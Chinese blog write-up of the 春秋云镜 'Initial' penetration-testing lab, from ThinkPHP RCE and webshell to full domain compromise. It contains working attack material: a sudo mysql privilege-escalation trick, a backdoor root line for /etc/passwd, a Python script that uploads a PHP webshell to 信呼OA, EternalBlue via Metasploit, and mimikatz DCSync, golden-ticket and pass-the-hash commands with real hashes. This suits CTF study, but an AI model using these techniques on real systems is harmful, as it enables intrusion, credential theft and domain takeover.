春秋云镜-Initial

第一次写春秋云镜的靶场,挑了个最简单的来试试水。

春秋云镜-Initial

Initial

外网

getshell

直接上fscan扫一下

1
2
3
4
5
6
7
start infoscan
39.99.158.236:22 open
39.99.158.236:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.158.236 code:200 len:5578 title:Bootstrap Material Admin
[+] PocScan http://39.99.158.236 poc-yaml-thinkphp5023-method-rce poc1

还真扫出来一个漏洞。试一下。成功了

image-20240817005512193

写个马进去。下面ip变了(有点事,雾。

提权

suid提权没有可用命令。sudo发现存在mysql命令

image-20240817010722984

sudo mysql -e '\! [命令]'这样就可以提权了。

sudo mysql -e ‘! cat /root/flag/flag01.txt’拿到第一部分flag

image-20240817010947494

拿到flag01:flag{60b53231-

现在,我们写一个root用户。

echo “aa:ad7t5uIalqMws:0:0:root:/aa:/bin/bash”| sudo tee -a /etc/passwd

发现要公钥登录。懒得改配置文件了,时间就是金钱嘛。

内网&横向

查看网卡信息,发现内网网段。

image-20240817012003749

fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
172.22.1.2:88 open
172.22.1.21:445 open
172.22.1.18:3306 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:445 open
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

整合一下信息:可以看到172.22.1.15就是我们已经拿下的tp,其它三个是域内其它主机。

1
2
3
172.22.1.2   DC 
172.22.1.18 信呼OA
172.22.1.21 MS17-010

我们先打OA,利用venom上一层代理不在一个网里用不了,选择用neo-regprg进行代理

image-20240818010235473

再配置proxifier,成功访问

image-20240818010630708

爆破得到账号密码admin/admin123

根据OA版本2.28找到文件上传的洞

我们找一个一键脚本,将shell.php放在脚本相同的目录下,内容为一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('shell.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)

连一下看看(这里proxifier给蚁剑配了代理的话,蚁剑就别开代理了。

image-20240818012130935

在Administrator目录下找到flag2:2ce3-4813-87d4-

image-20240818012300747

继续整理一下思路,我们现在的权限是system,还有一台ms-17和一个DC没有拿下。

借用这位师傅的总结

  • DCSync攻击:
    DCSync的原理是利用域控制器之间的数据同步复制
    DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式

  • DCSync 攻击前提:
    想进行DCSync 攻击,必须获得以下任一用户的权限:
    Administrators 组内的用户
    Domain Admins 组内的用户
    Enterprise Admins 组内的用户

    域控制器的计算机帐户

    即:默认情况下域管理员组具有该权限
    我们在获得的MS17-010这台机器加载mimikatz,并且本机是system权限

再看到我们之前fscan扫描的结果
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

注意到172.22.1.21是Enterprise Admins 组内的用户,所以只要拿下了172.22.1.21就可以进行DCSync攻击。现在思路很清晰了:先利用永恒之蓝拿下域权限,然后进行哈希传递实现域控。

msf启动!

1
2
3
4
5
6
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
show options
set rhosts 172.22.1.21
run

成功,就是neo-regprg的代理不太稳定,可以多等待一下。还试过在vps上利用venom进行代理,效果不太好,不知道是不是带宽太小的原因。打算之后利用frp试一试,进行对照实验。

image-20240818144116418

导出域内哈希。

1
2
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

image-20240818144450537

生成黄金票据(这一步没用也可以拿到flag,不是很懂这个黄金票据是什么,但看很多师傅的wp里面都提到了这个,有待了解。

1
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /user:krbtgt

导入黄金票据

1
kiwi_cmd kerberos::golden /user:administrator /domain:xiaorang.lab /sid:S-1-5-21-314492864-3856862959-4045974917-502 /krbtgt:fb812eea13a18b7fcdb8e6d67ddc205b /ptt

哈希传递

1
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

u:用户名

H: 密码哈希

d:域名

x:命令

image-20240818144644142

flag03: e8f88d0d43d6}

所以最后的flag:flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

补充

对攻击过程的一些疑问进行补充。

1:代理问题

使用venom进行代理

在kali上与proxychains配合,相比neo-regprg来说更加稳定,打永恒之蓝很快就成功了。而之前说的windows上与proxifier配合不稳定的原因是VPN没关(雾

使用frp进行代理

不知道是否是前面端口占用的原因导致,连接失败。前面实验各种代理,浪费了太多时间没有沙砾了,下次尝试吧。看别的师傅说也挺稳定的。

2:域控问题

搜索之后发现导入黄金票据后,票据会存在在内存中,即使域管理员密码密码更改后任然可以使用,是权限维持的手段。但是我这里是打靶场而已,所以这步操作可有可无。